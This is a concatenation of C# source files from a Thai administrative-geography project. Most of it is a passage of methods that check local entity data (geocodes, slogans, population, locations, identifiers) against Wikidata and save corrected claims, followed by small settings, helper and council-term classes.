collisionInfo.AppendFormat("{0}: {1} has wrong geocode id", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetGeocode(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
// TODO: Sources
}
}
}
private void SetSlogan(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.SloganCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong slogan", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetSlogan(item, entity);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
if ((statement != null) && entity.type.IsCompatibleEntityType(EntityType.Amphoe))
{
var source = AmphoeComHelper.AmphoeWebsite(entity.geocode);
if (source != null)
{
var snak = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdReferenceUrl), new StringValue(source.AbsoluteUri));
var sloganReference = statement.CreateReferenceForSnak(snak);
statement.AddReference(sloganReference);
foreach (var reference in statement.References)
{
reference.Save(_helper.GetReferenceSaveEditSummary(reference));
}
}
}
}
}
}
}
}
/// <summary>
/// Sets <see cref="WikiBase.PropertyIdNativeLabel"/> for the given <paramref name="entities"/>.
/// </summary>
/// <param name="entities">Entities to set.</param>
/// <param name="collisionInfo">Container to fill with information on any problems.</param>
/// <param name="overrideData"><c>true</c> to override wrong data, <c>false</c> otherwise.</param>
/// <exception cref="ArgumentNullException"><paramref name="entities"/> is <c>null</c>.</exception>
private void SetNativeLabel(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.NativeLabelCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong native label", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetNativeLabel(item, entity);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
/// <summary>
/// Sets <see cref="WikiBase.PropertyIdOfficialName"/> for the given <paramref name="entities"/>.
/// </summary>
/// <param name="entities">Entities to set.</param>
/// <param name="collisionInfo">Container to fill with information on any problems.</param>
/// <param name="overrideData"><c>true</c> to override wrong data, <c>false</c> otherwise.</param>
/// <exception cref="ArgumentNullException"><paramref name="entities"/> is <c>null</c>.</exception>
private void SetOfficialName(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.OfficialNameCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong official name", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetOfficialName(item, entity);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
private void SetIpa(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !String.IsNullOrWhiteSpace(x.ipa)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.IpaCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong IPA", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetIpa(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
_helper.AddLanguageOfWorkQualifier(statement);
foreach (var qualifier in statement.Qualifiers)
{
qualifier.Save(_helper.GetQualifierSaveEditSummary(qualifier));
}
}
}
}
}
}
private void SetGnd(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !String.IsNullOrWhiteSpace(x.codes.gnd.value)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.GndCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong GND id", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetGnd(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
// TODO: Sources
}
}
}
private void SetWoeid(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !String.IsNullOrWhiteSpace(x.codes.woeid.value)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.WoeidCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong WOEID", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetWoeid(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
var snak = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdStatedIn), new EntityIdValue(new EntityId(WikiBase.ItemFlickrShapeFile)));
var woeidReference = statement.CreateReferenceForSnak(snak);
statement.AddReference(woeidReference);
foreach (var reference in statement.References)
{
reference.Save(_helper.GetReferenceSaveEditSummary(reference));
}
}
}
}
}
private void SetHASC(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !String.IsNullOrWhiteSpace(x.codes.hasc.value)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.HASCCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong HASC id", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetHASC(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
// TODO: Sources
}
}
}
private void SetGadm(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !String.IsNullOrWhiteSpace(x.codes.gadm.value)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.GadmCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong GADM", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetGadm(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
private void SetGeonames(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !String.IsNullOrWhiteSpace(x.codes.geonames.value)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.GeonamesCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong geonames", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetGeonames(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
private void SetGNSUFI(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !String.IsNullOrWhiteSpace(x.codes.gnsufi.value)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.GNSUFICorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong GNS-UFI id", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetGNSUFI(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
// TODO: Sources
}
}
}
private void SetFacebookPlaceId(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => x.office.Any(y => y.socialweb.facebook.Any(z => z.type == FacebookPageType.place))))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.FacebookPlaceIdCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong facebook place id", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetFacebookPlaceId(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
// TODO: Sources
}
}
}
private void SetOfficialWebsite(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => x.office.Any(y => !String.IsNullOrEmpty(y.PreferredWebsite))))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.OfficialWebsiteCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong official website", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetOfficialWebsite(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
_helper.AddWebsiteQualifiers(statement);
foreach (var qualifier in statement.Qualifiers)
{
qualifier.Save(_helper.GetQualifierSaveEditSummary(qualifier));
}
}
}
}
}
private void SetDescribedByUrl(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => x.type.IsCompatibleEntityType(EntityType.Tambon) || x.type.IsCompatibleEntityType(EntityType.Amphoe)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.DescribedByUrlCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong described by URL", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetDescribedByUrl(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
if (!statement.Qualifiers.Any(x => x.PropertyId.PrefixedId.Equals(WikiBase.PropertyIdLanguageOfWork, StringComparison.InvariantCultureIgnoreCase)))
{
_helper.AddLanguageOfWorkQualifier(statement);
foreach (var qualifier in statement.Qualifiers)
{
qualifier.Save(_helper.GetQualifierSaveEditSummary(qualifier));
}
}
}
// TODO: Sources
}
}
}
private void SetNamedAfterSubdivision(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => x.NamedAfterEntity() != null))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.NamedAfterSubdivisionCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong named after subdivision", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetNamedAfterSubdivision(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
// TODO: Sources
}
}
}
private void SetIsInAdministrativeUnit(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.IsInAdministrativeUnitCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong parent", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetIsInAdministrativeUnit(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
private void SetTypeOfAdministrativeUnit(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => x.type != EntityType.Thesaban))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.TypeOfAdministrativeUnitCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong type", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetTypeOfAdministrativeUnit(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
if (statement != null)
{
if (_helper.AddTypeOfAdministrativeQualifiersAndReferences(statement, entity.type, entity))
{
foreach (var qualifier in statement.Qualifiers)
{
qualifier.Save(_helper.GetQualifierSaveEditSummary(qualifier));
}
foreach (var reference in statement.References)
{
reference.Save(_helper.GetReferenceSaveEditSummary(reference));
}
}
}
}
}
}
}
private void SetLocatorMap(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => x.type.IsCompatibleEntityType(EntityType.Amphoe)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.LocatorMapCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong type", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetLocatorMap(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
private void SetContainsSubdivisions(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
if (entity.entity.Where(x => !x.IsObsolete && !x.type.IsLocalGovernment()).All(x => x.wiki != null && !String.IsNullOrEmpty(x.wiki.wikidata)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
foreach (var subEntity in entity.entity.Where(x => !x.type.IsLocalGovernment()))
{
var state = _helper.ContainsSubdivisionsCorrect(item, entity, subEntity);
_runInfo[state]++;
if (state == WikiDataState.Incomplete)
{
var statement = _helper.SetContainsSubdivisions(item, entity, subEntity);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
}
}
private void SetPostalCode(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !x.IsObsolete && x.codes != null && x.codes.post != null && x.codes.post.value.Any()))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
foreach (var code in entity.codes.post.value)
{
var state = _helper.PostalCodeCorrect(item, entity, code);
_runInfo[state]++;
if (state == WikiDataState.Incomplete)
{
var statement = _helper.SetPostalCode(item, entity, code);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
}
private void SetShareBorderWith(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities.Where(x => !x.IsObsolete && x.area.bounding.Any()))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var allEntities = GlobalData.CompleteGeocodeList().FlatList();
foreach (var bounding in entity.area.bounding.Where(x => x.type == BoundaryType.land))
{
var boundingEntity = allEntities.FirstOrDefault(x => x.geocode == bounding.geocode);
if ((boundingEntity != null) && (boundingEntity.wiki != null) && (!String.IsNullOrEmpty(boundingEntity.wiki.wikidata)))
{
var state = _helper.BoundingEntityCorrect(item, entity, boundingEntity);
_runInfo[state]++;
if (state == WikiDataState.Incomplete)
{
var statement = _helper.SetBoundingEntity(item, entity, boundingEntity);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
}
}
private void SetPopulationData(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData, PopulationDataSourceType dataSource, Int16 year)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
GlobalData.LoadPopulationData(dataSource, year);
// TODO - local governments are not calculated!
foreach (var entity in entities.Where(x => x.population.Any(y => y.source == dataSource && y.Year == year)))
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var data = entity.population.First(y => y.source == dataSource && y.Year == year);
var state = _helper.PopulationDataCorrect(item, data);
_runInfo[state]++;
if (state != WikiDataState.Valid)
{
var statement = _helper.SetPopulationData(item, data, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
_helper.AddPopulationDataReferences(statement, data, entity);
foreach (var reference in statement.References)
{
reference.Save(_helper.GetReferenceSaveEditSummary(reference));
}
_helper.AddPopulationDataQualifiers(statement, data);
foreach (var qualifier in statement.Qualifiers)
{
qualifier.Save(_helper.GetQualifierSaveEditSummary(qualifier));
}
}
}
}
}
}
private void SetLocation(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
Boolean hasValue = false;
var office = entity.office.FirstOrDefault();
if (office != null)
{
hasValue = office.Point != null;
}
if (hasValue)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.LocationCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
var expected = new GeoCoordinate(Convert.ToDouble(office.Point.lat), Convert.ToDouble(office.Point.@long));
var actual = _helper.GetCoordinateValue(item, WikiBase.PropertyIdCoordinate);
var distance = expected.GetDistanceTo(actual);
collisionInfo.AppendFormat("{0}: {1} has wrong location, off by {2:0.###}km", item.id, entity.english, distance / 1000.0);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetLocation(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
_helper.AddLocationQualifiers(statement, entity);
foreach (var qualifier in statement.Qualifiers)
{
qualifier.Save(_helper.GetQualifierSaveEditSummary(qualifier));
}
}
}
}
}
}
private void SetInception(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var history = entity.history.Items.FirstOrDefault(x => x is HistoryCreate) as HistoryCreate;
var hasValue = history != null && history.effectiveSpecified;
if (hasValue)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.InceptionCorrect(item, entity);
_runInfo[state]++;
if (state == WikiDataState.WrongValue)
{
collisionInfo.AppendFormat("{0}: {1} has wrong inception date", item.id, entity.english);
collisionInfo.AppendLine();
}
if (state != WikiDataState.Valid)
{
var statement = _helper.SetInception(item, entity, overrideData);
if (statement != null)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
var gazetteReference = history.Items.OfType<GazetteRelated>().FirstOrDefault();
if (gazetteReference != null)
{
var gazette = GlobalData.AllGazetteAnnouncements.FindAnnouncement(gazetteReference);
if (gazette != null)
{
var snak = new Snak(SnakType.Value, new EntityId(WikiBase.PropertyIdReferenceUrl), new StringValue(gazette.DownloadUrl.AbsoluteUri));
var urlReference = statement.CreateReferenceForSnak(snak);
statement.AddReference(urlReference);
foreach (var reference in statement.References)
{
reference.Save(_helper.GetReferenceSaveEditSummary(reference));
}
}
}
}
// TODO: Reference!
}
}
}
}
private void CleanupPopulationData(IEnumerable<Entity> entities, StringBuilder collisionInfo, Boolean overrideData)
{
_ = entities ?? throw new ArgumentNullException(nameof(entities));
ClearRunInfo();
foreach (var entity in entities)
{
var item = _helper.GetWikiDataItemForEntity(entity);
if (item == null)
{
_runInfo[WikiDataState.ItemNotFound]++;
collisionInfo.AppendFormat("{0}: {1} was deleted!", entity.wiki.wikidata, entity.english);
}
else
{
var state = _helper.CheckPopulationData(item);
_runInfo[state]++;
if (state != WikiDataState.Valid)
{
var statements = _helper.CleanupPopulationData(item);
foreach (var statement in statements)
{
statement.save(_helper.GetClaimSaveEditSummary(statement));
}
}
}
}
}
#endregion private methods
}
}<file_sep>/AHTambon/GlobalSettings.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public class GlobalSettings
{
public static String HTMLCacheDir { get; set; }
public static String XMLOutputDir { get; set; }
public static String PDFDir { get; set; }
public static void LoadSettings()
{
try
{
HTMLCacheDir = (String)Application.UserAppDataRegistry.GetValue("HTMLCache");
}
catch (Exception)
{
}
if (String.IsNullOrEmpty(HTMLCacheDir))
{
HTMLCacheDir = Path.GetDirectoryName(Application.ExecutablePath) + "\\cache\\";
}
try
{
XMLOutputDir = (String)Application.UserAppDataRegistry.GetValue("XMLOutput");
}
catch (Exception)
{
}
if (String.IsNullOrEmpty(XMLOutputDir))
{
XMLOutputDir = Path.GetDirectoryName(Application.ExecutablePath) + "\\XMLout\\";
}
try
{
PDFDir = (String)Application.UserAppDataRegistry.GetValue("PDFStorage");
}
catch (Exception)
{
}
if (String.IsNullOrEmpty(PDFDir))
{
PDFDir = Path.GetDirectoryName(Application.ExecutablePath) + "\\PDF\\";
}
}
public static void SaveSettings()
{
Application.UserAppDataRegistry.SetValue("HTMLCache", HTMLCacheDir);
Application.UserAppDataRegistry.SetValue("XMLOutput", XMLOutputDir);
Application.UserAppDataRegistry.SetValue("PDFStorage", PDFDir);
}
}
}
<file_sep>/AHGeo/Helper.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Globalization;
using System.Xml;
namespace De.AHoerstemeier.Geo
{
public enum PositionInRectangle
{
TopLeft,
TopMiddle,
TopRight,
BottomLeft,
BottomMiddle,
BottomRight,
MiddleLeft,
MiddleRight,
MiddleMiddle,
}
internal class Helper
{
static public CultureInfo CultureInfoUS = new CultureInfo("en-us");
internal static XmlDocument XmlDocumentFromNode(XmlNode node)
{
XmlDocument retval = null;
if ( node is XmlDocument )
{
retval = (XmlDocument)node;
}
else
{
retval = node.OwnerDocument;
}
return retval;
}
}
}
<file_sep>/TambonMain/WikiLocation.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
partial class WikiLocation
{
public Int32 NumericalWikiData
{
get
{
Int32 value = -1;
if ( !String.IsNullOrWhiteSpace(wikidata) )
{
try
{
var subString = wikidata.Remove(0, 1);
value = Convert.ToInt32(subString);
}
catch ( FormatException )
{
}
}
return value;
}
}
}
}<file_sep>/TambonMain/CouncilTerm.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Runtime.Serialization;
using System.Text;
using System.Xml.Serialization;
namespace De.AHoerstemeier.Tambon
{
public partial class CouncilTerm
{
/// <summary>
/// Gets or sets the size of the council at the end of its term.
/// </summary>
/// <value>The size of the council at the end of its term.</value>
/// <remarks>If <see cref="finalsize"/> is not set, <see cref="size"/> is returned.</remarks>
[XmlIgnore()]
public UInt32 FinalSize
{
get
{
if ( finalsizeFieldSpecified )
{
return finalsizeField;
}
else
{
return size;
}
}
set
{
if ( value < 0 )
{
throw new ArgumentException("Size must be larger than 0");
}
finalsize = value;
}
}
/// <summary>
/// Whether the <see cref="size"/> of the council fits with the council <see cref="type"/>.
/// </summary>
[XmlIgnore()]
public Boolean CouncilSizeValid
{
get
{
return type.IsValidCouncilSize(size);
}
}
/// <summary>
/// Whether the <see cref="begin"/> and <see cref="end"/> dates of the term are sensible, i.e. end after begin.
/// </summary>
[XmlIgnore()]
public Boolean TermDatesValid
{
get
{
var result = (begin.Year > 1900) & (begin.Year < GlobalData.MaximumPossibleElectionYear);
if ( endSpecified )
{
result &= (end.Year > 1900) & (end.Year < GlobalData.MaximumPossibleElectionYear);
result &= end.CompareTo(begin) > 0;
}
return result;
}
}
/// <summary>
/// Calculates whether the <see cref="begin"/> and <see cref="end"/> dates fit with the <paramref name="maximumTermLength"/> in years.
/// </summary>
/// <param name="maximumTermLength">Maximum length of term in years.</param>
/// <returns><c>true</c> if term length is correct, <c>false</c> otherwise.</returns>
public Boolean TermLengthValid(Byte maximumTermLength)
{
Boolean result = true;
if ( endSpecified )
{
var expectedEndTerm = begin.AddYears(maximumTermLength);
var compare = expectedEndTerm.CompareTo(end);
result = compare > 0;
}
return result;
}
}
}<file_sep>/TambonMain/WikiBase.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
